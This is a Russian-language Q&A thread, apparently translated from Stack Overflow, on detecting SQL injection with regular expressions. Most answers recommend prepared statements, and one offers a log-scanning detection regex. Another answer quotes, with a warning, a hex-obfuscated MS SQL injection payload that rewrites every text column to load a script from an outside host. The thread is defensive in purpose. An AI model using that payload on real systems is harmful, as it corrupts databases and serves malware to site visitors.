RegEx для обнаружения SQL-инъекций - PullRequest
5 голосов
/ 05 сентября 2008

Существует ли регулярное выражение, которое может обнаружить SQL в строке? У кого-нибудь есть образец чего-то, что он использовал прежде, чем поделиться?

Ответы [ 5 ]

40 голосов
/ 05 сентября 2008

Не делай этого. Вы практически гарантированно потерпите неудачу. Вместо этого используйте PreparedStatement (или его эквивалент).

13 голосов
/ 05 сентября 2008

используйте сохраненные процедуры или подготовленные операторы, как вы обнаружите что-то подобное? Кстати, НЕ запускайте это

   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);
4 голосов
/ 05 сентября 2008

Избавьте себя от проблем и используйте хранимые процедуры с подготовленными операторами или параметризованными запросами. В любом случае, хранимые процедуры являются хорошей практикой, поскольку они действуют как интерфейс к базе данных, поэтому вы можете изменить то, что происходит за кулисами (внутри хранимого процесса), но подпись остается прежней. Подготовленные заявления помогают позаботиться о защите от инъекций.

0 голосов
/ 21 октября 2016

Как уже говорилось, лучше использовать подготовленные высказывания. Можно утверждать, что хранимая процедура заставляет выполнять ключевые запросы, чтобы принудительно использовать подготовку вызова.

В любом случае, вот простой grep для определения классического n = n целого числа в выражениях where; он пропускает пометку 1 = 1, используемую многими ленивыми конструкторами запросов для AND, но помечает ее для OR

((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4

Конечно, его можно улучшить, чтобы обнаруживать десятичные и строковые сравнения, но это был механизм быстрого обнаружения, наряду с другими greps, такими как ORD (MID (и т. Д.)

Используйте его в журнале запросов, например в общем журнале mysql

Надеюсь, что это полезно

0 голосов
/ 05 сентября 2008

У меня нет регулярного выражения, но я понимаю, что самое важное - это найти одинарную кавычку. Все инъекционные атаки начинаются оттуда. У них, вероятно, тоже есть - для комментирования и другого SQL, который может быть после строки.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...